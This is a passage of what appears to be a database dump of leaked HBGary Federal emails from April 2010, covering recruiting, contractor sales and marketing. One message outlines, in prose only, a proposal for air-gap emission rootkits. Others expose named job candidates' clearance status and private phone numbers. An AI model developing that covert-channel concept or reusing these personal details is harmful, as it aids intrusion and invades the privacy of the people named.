in my positions and interactions with the other members that we could split it.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10729,'aaron_hbgary_com/10729.html'),(5486,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003978.M511079P14101Q342.eml','\"Dino Dai Zovi\" <ddz@trailofbits.com>','Re: Update','Dino,\r\n\r\nUnderstand.\r\n\r\nOne thing to ponder.  All interaction and official NDA was between EGS and HBGary Federal.  So it might be possible that HBGary and you might be in the clear.  What do you think?\r\n\r\nIf that sounds doable let me know and we could set up a call with Greg.  I am not sure how your employee agreements read, so I understand if you just want to sit on it for a while.\r\n\r\nTake care,\r\nAaron\r\n\r\nOn Apr 15, 2010, at 12:07 PM, Dino Dai Zovi wrote:\r\n\r\n> Hello Aaron,\r\n> \r\n> I don\'t hold a clearance anymore (I last held a DOE L/Secret clearance in 2003, but that has long expired).  I have done a couple of random IR gigs in the past, primarily involved in fully reverse engineering high-level malware into accurate C pseudocode and performing rapid post-intrusion vulnerability assessments (circa 2004-2005).\r\n> \r\n> On second thought, I am realizing that any work with HBGary might fall under various clauses in my employment contract w/ Endgames.  I wouldn\'t want to open either of us up to any legal exposure, so I should probably refrain from any work with HBGary for the time being.\r\n> \r\n> Cheers,\r\n> \r\n> -Dino\r\n> \r\n> \r\n> On Apr 13, 2010, at 9:54 PM, Aaron Barr wrote:\r\n> \r\n>> Ok.  Great.\r\n>> \r\n>> We have some ongoing work to build CNE capabilities.  The contract we have had for a while, although we do a variety of different things within it.  We have used some consultants in the past to help with surges in this work.  If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.\r\n>> \r\n>> Do you hold a clearance at all?\r\n>> \r\n>> Are you familiar with DARPA\'s cyber genome project?  There were 3 Technical areas and we sub\'d to 1 and primed another related to automated malware analysis.  That is all development work and unclassified.  If that work interests you we could probably use your help there too.\r\n>> \r\n>> Do you do or have you done Incident Response work?  We get short term gigs like this all the time.  I am not completely up on your full background so not sure if this is an area of expertise or interest.  HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.\r\n>> \r\n>> Probably others too but this is a good start off the top of my head.\r\n>> \r\n>> What types of things are you most interested in working on?\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n>> \r\n>>> Hi Aaron,\r\n>>> \r\n>>> Yes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\n>>> \r\n>>> Cheers,\r\n>>> \r\n>>> -Dino\r\n>>> \r\n>>> On Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n>>> \r\n>>>> \r\n>>>> \r\n>>>> ---------- Forwarded message ----------\r\n>>>> From: Aaron Barr \r\n>>>> Date: Tue, Apr 13, 2010 at 10:43 AM\r\n>>>> Subject: Update\r\n>>>> To: Dino Dai Zovi \r\n>>>> \r\n>>>> \r\n>>>> LinkedIn\r\n>>>> Aaron Barr has sent you a message.\r\n>>>> Date: 4/13/2010\r\n>>>> Subject: Update\r\n>>>> Hi Dino,\r\n>>>> \r\n>>>> It look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\n>>>> \r\n>>>> Aaron\r\n>>>> View/reply to this message\r\n>>>> Don\'t want to receive e-mail notifications? Adjust your message settings.\r\n>>>> \r\n>>>> © 2010, LinkedIn Corporation\r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13509,'aaron_hbgary_com/13509.html'),(5487,'2010-04-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003978.M732296P14101Q343.eml','\"Barr Aaron\" <aaron@hbgary.com>','Greg','Had a talk with Greg. A couple quick notes...  Active defense is\r\navailable today from the website. Static DDNA will be available in 30\r\ndays.\r\n',10660,'aaron_hbgary_com/10660.html'),(5488,'2010-04-20','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003978.M83549P14101Q340.eml','aaron@hbgary.com','Out of Office Re: Northrup Grumman IT','I am currently out of the office on vacation from April 17th thru\r\n24th, 2010.  I will be in the office on April 26, 2010.\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',6190,'aaron_hbgary_com/6190.html'),(5489,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003979.M256570P14101Q345.eml','\"Ted Vera\" <ted@hbgary.com>','Resumes','So below are our picks so far. &nbsp;Only 2 have full polys. &nbsp;A few are unclear. &nbsp;Only one has a full poly and good work experience. &nbsp;The other is just ok.Gavin Zhu: No ClearanceDennis Sullivan: Good experience. &nbsp;Only a CI Poly. &nbsp;PhD.Robert Ryan: Good work experience. &nbsp;Military TS/SCIAdam Mueller: Decent work experience (clearance available upon request)Heather Harris: OK Experience. &nbsp;Fully Scope PolyJustin Fraley: Good experience. &nbsp;Used to work at NSA. &nbsp;Unclear on Full scope polyWilliam Holler: Good experience. &nbsp;Military TS/SCI. &nbsp;Don\'t think Poly, but not clear.Phillip White: This guy lists his ability to pick up things quickly. &nbsp;No clearance.Tynia Johnson: Good experience and Full Poly.Rachel Ford: This lady has been a vet assistance most recently. &nbsp;No clearance.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5204,'aaron_hbgary_com/5204.html'),(5490,'2010-04-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003979.M456145P14101Q346.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,aaron@hbgary.com','RE: Northrup Grumman IT','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nWho referred you to Georgia\r\nHall?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp;\r\n|&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; |\r\nMobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp;\r\nbob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Monday, April 19, 2010 8:08 PM\r\nTo: \'Bob Slapnik\'; aaron@hbgary.com\r\nSubject: Northrup Grumman IT\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThe person we need to get to over at NG is Georgia\r\nHall.&nbsp; Aaron do you know her or can we get an intro to her?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2811 - Release Date: 04/19/10\r\n14:31:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3415,'aaron_hbgary_com/3415.html'),(5491,'2010-04-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003979.M48736P14101Q344.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Active Defense','Bob,\r\n\r\nWould it be possible to get Jacob from TASC an eval license for Active Defense?\r\n\r\nHammack, Jacob P (TASC)\" \r\n\r\nTed\r\n',9272,'aaron_hbgary_com/9272.html'),(5492,'2010-04-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003979.M689201P14101Q347.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','RE: Northrup Grumman IT','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nIt would be great for NG to have awareness of HBGary and buy our\r\nproducts.&nbsp; Could you set up a meeting where we can present and demo?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 19, 2010 8:33 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Bob Slapnik\'\r\nSubject: Re: Northrup Grumman IT\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI do but why would you say Georgia Hall? &nbsp;Mark Leary\r\nruns the Information Assurance group and is the lead decision maker on most of\r\nthe new security products that are implemented in the NG network. &nbsp;Georgia\r\nused to run the tier1 folks, but I don\'t think she does any more. &nbsp;They\r\nall work for Tim McKnight who is the CISO.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI know all three of them, but I know Tim and Mark best.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris Barnett worked for Mark when he was at NG Bob.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know if I can help.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 19, 2010, at 8:08 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nperson we need to get to over at NG is Georgia Hall.&nbsp; Aaron do you know\r\nher or can we get an intro to her?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nC. Leavy\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\nHBGary,\r\nInc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNOTICE &#8211;&nbsp;Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use by the\r\nintended recipient. If you are not the intended recipient or the person\r\nresponsible for&nbsp;&nbsp; delivering the message to the intended recipient,\r\nbe advised that you have received this message in error and that any\r\ndissemination, copying or use of this message or attachment is strictly\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2811 - Release Date: 04/19/10\r\n14:31:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14959,'aaron_hbgary_com/14959.html'),(5493,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003979.M934555P14101Q348.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Northrup Grumman IT','Yep. &nbsp;Mark is the right guy. &nbsp;He is home for a bit nursing a back injury. &nbsp;I will try and set something up for the beginning of May.AaronOn Apr 19, 2010, at 10:44 PM, Bob Slapnik wrote:Aaron,&nbsp;It would be great for NG to have awareness of HBGary and buy our products.&nbsp; Could you set up a meeting where we can present and demo?&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 19, 2010 8:33 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Bob Slapnik\'Subject:&nbsp;Re: Northrup Grumman IT&nbsp;I do but why would you say Georgia Hall? &nbsp;Mark Leary runs the Information Assurance group and is the lead decision maker on most of the new security products that are implemented in the NG network. &nbsp;Georgia used to run the tier1 folks, but I don\'t think she does any more. &nbsp;They all work for Tim McKnight who is the CISO.&nbsp;I know all three of them, but I know Tim and Mark best.&nbsp;Chris Barnett worked for Mark when he was at NG Bob.&nbsp;Let me know if I can help.&nbsp;Aaron&nbsp;On Apr 19, 2010, at 8:08 PM, Penny Leavy-Hoglund wrote:The person we need to get to over at NG is Georgia Hall.&nbsp; Aaron do you know her or can we get an intro to her?&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.801 / Virus Database: 271.1.1/2811 - Release Date: 04/19/10 14:31:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8245,'aaron_hbgary_com/8245.html'),(5494,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003980.M133102P14101Q349.eml','\"Mark Leary\" <mark.leary@ngc.com>','Saying hello','I was talking with Steve Winterfeld today and he mentioned you were nursing an injury (back was it?).\r\n\r\nI hadn\'t talked to you in a while so thought I would drop a note and say hey.\r\n\r\nLet me know if you want to have lunch some time.\r\n\r\nI have met up with Chris Barnett a few times doing work with CSC.  His new experiences seem to be a bit mixed but sounds like he is settling in.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8449,'aaron_hbgary_com/8449.html'),(5495,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003980.M344209P14101Q350.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: NDA and Collaboration','Hi Arnav,Hadn\'t heard from you since sending back the NDA.For you guys what do you see as the next steps?I would like to get together to discuss investigation pursuits and how we can work together to improve and maybe standardize some investigative frameworks for one.AaronOn Apr 12, 2010, at 2:49 PM, Arnav Manchanda wrote:Dear Aaron,Thanks for your email to Nart, and it was a pleasure to meet you in Washington. We believe there would be a lot of synergy between your malware work and our cyber investigation capabilities, and we would like to continue discussions on this.We would be happy to sign an NDA, do send me a copy and we\'ll do a quick turnaround.Best wishes,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1A 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail: a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: April 9, 2010 3:40:07 PM EDTTo: N.villeneuve@secdev.caCc: Ted Vera &lt;ted@hbgary.com&gt;Subject: NDA and CollaborationNart,It was very nice talking with you at the Palantir conference. &nbsp;I would like to get an NDA in place and talk about how HBGary can help in your research and what other things we might be able to do together.How often do you come down to DC?Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15350,'aaron_hbgary_com/15350.html'),(5496,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003980.M684341P14101Q351.eml','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','Re: ExecutiveBiz 4x24 Cyber Group Follow-up','Jennifer,I will get this off to you in the next few days.If you get a chance could you send me a current list of the members?Thanks,AaronOn Apr 19, 2010, at 5:45 PM, Jennifer Jordan-Harrell wrote:Aaron,Welcome!&nbsp; Looking forward to having you on board from inception.&nbsp; Please send me your Bio, Executive Photo and copy of your business card as soon as you can.&nbsp; Also, email me your business/mailing address.&nbsp;Sincerely,&nbsp;Jennifer Jordan-HarrellGroup Manager&nbsp;ExecutiveBiz703-226-7016jennifer@executivebiz.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7722,'aaron_hbgary_com/7722.html'),(5497,'2010-04-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003980.M945817P14101Q352.eml','\"Aaron Barr\" <aaron@hbgary.com>','TMC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThe NSA Blue Team is interested in TMC too.&nbsp; The SME is\r\nNathaniel Gray / (410) 854-9014 / Mobile (206) 491-2255 / ngray@dewnet.ncsc.mil\r\n\r\n&nbsp;\r\n\r\nHow about if you work with Nathaniel too?&nbsp; I spoke with\r\nNathaniel&#8217;s boss, Scott Brown, and a guy a couple levels up from there\r\nnamed Harley Parkes.&nbsp; These guys are already my customers who I\r\ncommunicate with pretty regularly.&nbsp; They know the other NSA group is\r\ninterested in TMC but they don&#8217;t know if the various groups will each buy\r\ntheir own system or everybody share one.&nbsp; In any case, it will simplify\r\nthings if you run the TMC deal with all of them.&nbsp; I&#8217;ll be available\r\nfor support, doing quotes, whatever.\r\n\r\n&nbsp;\r\n\r\nCan you run with this?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',578,'aaron_hbgary_com/578.html'),(5498,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003981.M170108P14101Q353.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: TMC','Sure.So that makes 3 groups within the same directorate.ANONTOC/V22IA/Blue TeamLet me know once you have had a chance to contact him and tell him I will give him a call and then I will do so.As I mentioned we are supposed to go back next week to talk with the NTOC/V22 folks. &nbsp;I am going to contact Dave Lubers shop tomorrow and give them a status update (they were supposed to be evaluating Responder).AaronOn Apr 19, 2010, at 10:57 PM, Bob Slapnik wrote:Aaron,&nbsp;The NSA Blue Team is interested in TMC too.&nbsp; The SME is Nathaniel Gray / (410) 854-9014 / Mobile (206) 491-2255 /ngray@dewnet.ncsc.mil&nbsp;How about if you work with Nathaniel too?&nbsp; I spoke with Nathaniel’s boss, Scott Brown, and a guy a couple levels up from there named Harley Parkes.&nbsp; These guys are already my customers who I communicate with pretty regularly.&nbsp; They know the other NSA group is interested in TMC but they don’t know if the various groups will each buy their own system or everybody share one.&nbsp; In any case, it will simplify things if you run the TMC deal with all of them.&nbsp; I’ll be available for support, doing quotes, whatever.&nbsp;Can you run with this?&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9984,'aaron_hbgary_com/9984.html'),(5499,'2010-04-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003981.M372215P14101Q354.eml','\"Barr Aaron\" <aaron@hbgary.com>','TASC','I am having lunch with Steve tomorrow and will talk about our products\r\nfor the Tasc network.\r\n\r\nTed\r\n\r\nSent from my iPad\r\n',5446,'aaron_hbgary_com/5446.html'),(5500,'2010-04-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003981.M575937P14101Q355.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: New Tagline Contenders (redux)','Enterprise Threat Prevention?\r\n \r\nCyber Threat Prevention?\r\n \r\n-G\r\nOn Mon, Apr 19, 2010 at 9:44 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nThreat Prevention is term 451 Likes.  Detect, Diagnose and Defeat could be interesting.  Because we have multiple products, on tag line may not be possible.  \r\n\r\n \r\n\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] Sent: Sunday, April 18, 2010 9:09 AM \r\nTo: Penny Leavy-HoglundCc: Aaron Barr; all@hbgary.com; Karen BurkeSubject: New Tagline Contenders (redux)\r\n\r\n \r\n\r\n \r\n\r\nTeam\r\n\r\n\r\n\r\n\r\nWe are trying on the &quot;Enterprise Threat Intelligence&quot; tagline, as you might have noticed.\r\n\r\n \r\n\r\nWe are down to two final contestants:\r\n\r\n \r\n\r\n&quot;Enterprise Threat Intelligence&quot;\r\n\r\n&quot;Defeat Tomorrow&#39;s Threats Today&quot;\r\n\r\n \r\n\r\nWe still have the question because we aren&#39;t sure if &quot;Enterprise Threat Intelligence&quot; will collide with feed-vendors like cyveillance.\r\n\r\n \r\n\r\n \r\n\r\n-Greg\r\n',13472,'aaron_hbgary_com/13472.html'),(5501,'2010-04-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003981.M836833P14101Q356.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>','Air gap rootkits',' \r\nAaron, Ted, \r\n \r\nThoughts on a new proposal for emission rootkits, vulnerability and opportunity:\r\n \r\nUsing chip-level programming, emission control is possible from a motherboard or typical array of peripheral device.  Many emissions will be low power, but this low-power can be used to modulate a nearby high power signal, such as florescent lighting, AC power, audio outputs, or the video display.  Many emissions are high frequency, such as CPU, and thus won&#39;t induce well, but others such as the audio processing chips and Ethernet MAC chip can be made to operate at much lower speeds.  The proposal is to first identify chips that have software interfaces that allow easy manipulation of emission-inducing physics.  Examples include clock frequency, longer bus data transmission giving rise to burst emissions, and the like.  Actual radio chips will also be included, such as on-board 802.11.  Encoding signals into emission will be easy, but picking up transmission on a nearby device will be much harder.  If the device is designed for radio, this will be easy, but some amount of research can be put into picking this up on the microphone port.  We can explore audio channels as well, such as high frequency transmission on one machine, with a pickup on another.  Also, many motherboards have &#39;kitchen sink&#39; chips that have capabilities far beyond that which is exposed.  Some can receive radio on AM/FM bands.  A full inventory of consumer grade hardware at a typical Best Buy will not cost more than $15K and all major chip vendors and part numbers can be identified.  From this, other chips in the same families can be extrapolated and a predictive capability report put together.  I think this is along the lines of what the PLA is doing, or has already invested in, and would form the basis of a survivable &quot;black net&quot; APT framework - most assuredly designed for penetration into otherwise air-gapped networks.  Introduction of the initial exploitative samples can be through e-mail and documents, both of which are known to traverse these air-gap boundaries.  This is not the beyond the imagination of an enemy who clearly values asymmetric warfare and the stratagem: &quot;a victorious army first wins and then seeks battle. A defeated army first battles and then seeks victory&quot;.\r\n\r\n \r\n-Greg\r\n',11424,'aaron_hbgary_com/11424.html'),(5502,'2010-04-20','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297003982.M66896P14101Q357.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Meeting with Irving Lachow @ Tue Apr 20 8am - 9am 	(aaron@hbgary.com)',' more details &raquo;Meeting with Irving LachowWhenTue Apr 20 8am – 9am Eastern TimeWhere2231 Crystal Drive; Suite 900 (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',2653,'aaron_hbgary_com/2653.html'),(5503,'2010-04-20','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297003983.M278752P14101Q358.eml','aaron@hbgary.com','Current Cyber Member list','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nThis is the list to date.&nbsp; Let me know if you have any\r\nquestions.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3008,'aaron_hbgary_com/3008.html'),(5504,'2010-04-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003984.M538463P14101Q359.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: Current Cyber Member list','Member list for cyber group.From my iPhoneBegin forwarded message:From: Jennifer Jordan-Harrell &lt;jennifer@executivebiz.com&gt;\r\nTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;Subject: Current Cyber Member list\r\nAaron,This is the list to date.  Let me know if you have any questions.Sincerely,\r\nJennifer Jordan-HarrellGroup ManagerExecutiveBiz703-226-7016jennifer@executivebiz.com\r\n\r\n',12650,'aaron_hbgary_com/12650.html'),(5505,'2010-04-20','\"Danielle Stradford\" <danielle@executivebiz.com>','/aaron@hbgary.com/new/1297003984.M799788P14101Q360.eml','aaron@hbgary.com','ExecutiveBiz 4x24 Information Request','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nWe need some quick info from you regarding your 4x24\r\nmembership.\r\n\r\nAs part of your ExecutiveBiz 4x24 membership, you have TWO Associate\r\nmemberships (valued at $795 each) in the Potomac Officers Club (POC)&nbsp;to give out to colleagues that\r\nare qualified to attend our POC events. \r\n&nbsp;\r\nBy giving two of your colleagues\r\nthese Associate POC memberships, you are offering them the opportunity to\r\nparticipate in the lunch\r\nevents that we organize and run each year. It is an excellent way to recognize\r\nthe rising stars in your organization.\r\n\r\nYour Associate Members will appreciate this exclusive opportunity and enjoy\r\nparticipating because they will have the chance to meet other executives of\r\nconsequence. The POC organization is only open to qualified executives and\r\nconventional Service Providers and\r\nprofessional networkers are not permitted to attend.\r\n&nbsp;\r\nThe POC\r\nfeatures &#8220;Headline\r\nSpeakers on Headline Topics&#8221; and your chosen Associate\r\nMembers will be able to register and attend POC Luncheon events on their own\r\nand have full guest privileges as well.\r\n&nbsp;\r\nThe Associate Memberships begin concurrent with your 4x24 membership so you\r\nshould move quickly to take full advantage of the term of the program. \r\n\r\nPlease call or e-mail me with your two colleagues. We need their first and last name, e-mail address, phone number, mailing address, and title and the same info for their\r\nexecutive assistants. \r\n&nbsp;&nbsp;\r\n**Their title is important because they must be VP level or higher. \r\n\r\n&nbsp;\r\n\r\nIn addition we will also need the Name, Email and Contact\r\nnumber for your PR and HR Person. &nbsp;\r\n&nbsp;\r\nPlease help us help you!\r\n&nbsp;\r\nThank you,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDanielle\r\nStradford \r\n\r\nThe Potomac Officers Club\r\nand ExecutiveBiz\r\n\r\n8230 Old\r\n  Courthouse Road, Suite 460\r\n\r\nVienna, VA 22182 \r\n\r\nPhone: 703-226-7017 \r\n\r\nFax: 703-752-7454 \r\n\r\ndanielle@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6011,'aaron_hbgary_com/6011.html'),(5506,'2010-04-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003985.M14380P14101Q361.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy-Hoglund\" 